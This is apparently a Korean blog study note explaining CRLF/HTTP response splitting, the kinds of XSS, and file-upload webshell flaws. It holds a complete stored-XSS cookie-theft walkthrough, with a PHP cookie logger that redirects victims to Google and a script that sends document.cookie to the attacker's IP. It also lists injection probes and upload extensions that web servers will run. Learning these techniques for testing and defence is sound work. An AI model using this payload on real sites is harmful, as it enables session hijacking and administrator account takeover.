[목차]

 

 

1. CRLF

2. XSS

3. 파일 업로드

 

 

 


 

 

 

[CRLF]

 

 

 

CRLF는 Carriage Return과 Line Feed를 의미하며

키보드의 엔터키와 동일한 기능을 한다. 그러나

URL 특정 파라미터에 해당 코드를 삽입하는 경우

임의의 헤더정보를 생성할 수 있는 취약점이 발생된다.

 

 

해당 기법은 HTTP Response Splitting기법이라고도 불리며,

파라미터에 CRLF와 특정 헤더정보를 만드는 문자열을

함께 삽입하여 Response Header 혹은 Body에

임의의 필드를 만들어 넣을 수 있게 된다.

 

 

이를 이용하여 보안필터 역할을 수행하는 경우,

헤더값을 조작할 수 있기 때문에 해당 필터를

우회할 수 있을 것이다.

 

 

 

CRLF는 일반적으로 HTTP 헤더라인의 끝마다 삽입되어,

각 라인을 구분하는 구분자로 사용되고 있다.

 

 

혹 와이어샤크나 프록시 툴로 요청값을 확인시

CRLF가 보이지는 않지만 실제로는 각 필드마다

CRLF가 삽입되어 있는 것이다.

 

 

CRLF를 16진수 코드 형태로 표기하면 '0d0a'가 되며

와이어샤크로 캡쳐한 내용의 패킷 바이트(16진수 형태)를

살펴보면 다음과 같이 라인의 끝마다 0d0a가 삽입되어 있음을

확인할 수 있다.

 

 

 

 

 

Response Header 조작 방법은

페이지의 url 파라미터에 공격문자열을

추가하면 된다.

 

 

CRLF(%0d%0a) + 스페이스(%20) + new_header....

 

 

취약한 파라미터인 경우,

응답헤더의 응답코드(status code)는

302번 및 삽입한 공격 문자열이 보일 수 있다.

 

 

Location 부분을 확인하면 된다.

 

 

* 응답코드 참조

 

응답코드가 302로 확인될 시

이는 공격 문자열로 인해 다른 페이지로

이동했음을 의미하는 것으로

CRLF 공격 시 흔히 발생되는 특징이며

응답코드가 200번인 경우도 발생할 수 있다.

 

 

 

CSRF는 XSS에 포함되어 있지만

방식의 차이점을 이해하고 있어야 한다.

 

 

 

 


 

 

 

[XSS]

 

 

크로스사이트스크립트는 다른 취약점들과는 다르게

접속한 사용자를 대상으로 공격하는 기법으로,

삽입한 스크립트 팝업여부 확인이나,

사용자의 권한을 획득하여

사용자의 중요정보를 가로챌 수 있는 기법이다.

 

 

입력된 값에 대해 점검 하는 부분이 있는지 여부가

중요하고 xss는 스크립트 구문 및 함수에 대한 지식이

많을수록 더욱 다양한 공격이 가능하다.

 

 

 

 

XSS 종류

 

 

1. DOM(Document Object Model)

사용자측에서 코드가 실행되는 취약점으로

url에 스크립트 구문을 넣어 공격 가능 유무를 확인할 수 있고

(http://example.com/xss1.jsp?age=<script>alert('takudaddy')</script>

 

또는 사용자 입력이 가능한 부분에 입력한 데이터가

화면상에 바로 출력 되는지 여부로 확인 가능하다.

이 경우 개발자 도구를 열어 해당 페이지의 소스코드를 확인하여

암호 변경등의 링크 경로 (a href="change?pass=2021>web</a>)

등을 찾아 복사 후 입력값으로 넣으면 화면상 해당 링크가 출력되면서

타고 갈 수 있게 되고, 들어가보면 다른 사용자의 암호등을 변경할 수 있게 됨

 

 

 

 

2. Reflected XSS(Non-persistent XSS)

사용자 입력 데이터가 웹 어플리케이션의 응답 페이지에 적용

및 실행되는 취약점, 즉 사용자 입력 값이 웹 화면에

바로 출력되는 형태의 취약점

 

공격 가능 판단 유무

: <script>alert('takudaddy')</script>

 

 

 

 

3. Stored XSS(Persistent XSS, Second Order XSS)

사용자의 입력 데이터가 데이터베이스에 저장되고

데이터베이스에서 해당 값을 추출하는 경우에 발생되는 취약점

예로 게시판에 스크립트 공격 문자열을 삽입하고 저장하면

데이터베이스에 저장되고, 해당 글 보기 시 스크립트가 실행되는 방식

 

공격 절차로는 우선

쿠키를 저장하기 위한 파일에(ex: log.txt) 피해자의 날짜, 접속자 IP,

접속 페이지 등을 저장하도록 하고 정상적 사이트인것처럼 속이기 위해

구글등이 오픈 되도록 설정한 프로그램을 짠다.

 

test.php

<?php
$f = fopen("log.txt", 'a');
fwrite($f, date("Y-m-d H:i:s"). " ");
fwrite($f, $_SERVER["REMOTE_ADDR"]. " ");
fwrite($f, $_SERVER["REQUEST_URI"]. "\n");
fclose($f);
header("Location: http://www.google.com");
?>

 

해당 소스코드 test.php 파일을

자신의 로컬 웹 서버 (예 C:\APM_Setup\htdocs)

디렉토리에 넣는다.

 

 

다시 한 번 위 코드를 분석해보면

쿠키를 저장하기 위해서 log.txt 파일 만들고,

날짜(date()), 접속자 IP(REMOTE_ADDR),

접속 페이 지(REQUEST_URI, 쿠키값이 같이 전달된다.)를

log.txt 파일에 저장한다.

 

 

정상적인 사이트인것처럼 속이기 위해서 www.google.com

사이트가 오픈되도록 구성되었다.

 

 

다음으로는 쿠키값을 수정/변경 해주는

EditThisCooki/cookie Tool bar

등의 툴을 설치한다.

 

 

이 후 취약한 페이지로 이동해

상단 메뉴 중 Show Cookies를 선택하면

상단 화면에 JSESSIONID라는 세션 아이디값을 보여준다.

 

공격이 진행되는 방식은

해당 값이 로그인 이후에 발급되는 사용자의 고유값(세션 값)이라고 가정,

해당 값을 가로채서 공격자 웹서버에 log.txt 저장하는 것

 

 

JSESSIONID 값을 복사하여

Cookie 툴바의 Edit Cookie를 선택하고

해당 값을 넣고 Set 선택한다.

 

취약한 게시판에 아래의 공격코드를 넣는다.

-----------------------------------------------------

<script language="JavaScript">

window.location="http://자신의IP/test.php?"+document.cookie;

</script>

----------------------------------------------------

 

 

이를 관리자가 볼 수 있도록 그럴싸하게

제목을 꾸민 후 글을 저장시켜 관리자가

열도록 유도한다.

 

 

이를 관리자가 열면 관리자의 쿠키값이

공격자의 웹서버에 전달하여 log.txt 저장된다.

 

 

관리자의 쿠기값을 얻었기 때문에 해당 세션값을 Cookie에 설정하고

해당 웹사이트에 접속하면 관리자와 같은 권한으로 접속이 된다.

 

 

 

 


 

 

 

[파일 업로드]

 

 

 

파일 업로드 취약점이란

게시판 등의 파일을 업로드 할 수 있는 기능을 악용하여

악의적인 파일(웹쉘) 업로드를 통해 시스템 권한을 장악하는

기법을 의미한다.

 

 

게시판 업로드 기능에서

파일 확장자에 대한 검사가 수행되지 않는 경우

취약점이 발생된다.

 

 

다음은 웹서버에서 실행 가능한 확장자에 대한 예시이다.

----------------------------------------------------------------------

개발언어                  공격 가능한 확장자

----------------------------------------------------------------------

ASP, ASPX            asp, aspx, htm, html, asa 등

PHP                     phtml, php, php3, php4, php5, inc, htm, html 등

JSP, JAVA              jsp, jspx, jsw, jsv, jspf, htm, html 등

PERL                    pl, pm, cgi, lib, htm, html 등

ColdFusion            cfm, cfml, cfc, dbm, htm, html 등

----------------------------------------------------------------------

 

 

업로드가 불가능한 필터링 된 확장자를

프록시 툴 등으로 변조시키는 등의 다양한

우회 기법들이 있다.

 

 

 

 

 

 

 

 

728x90
반응형

+ Recent posts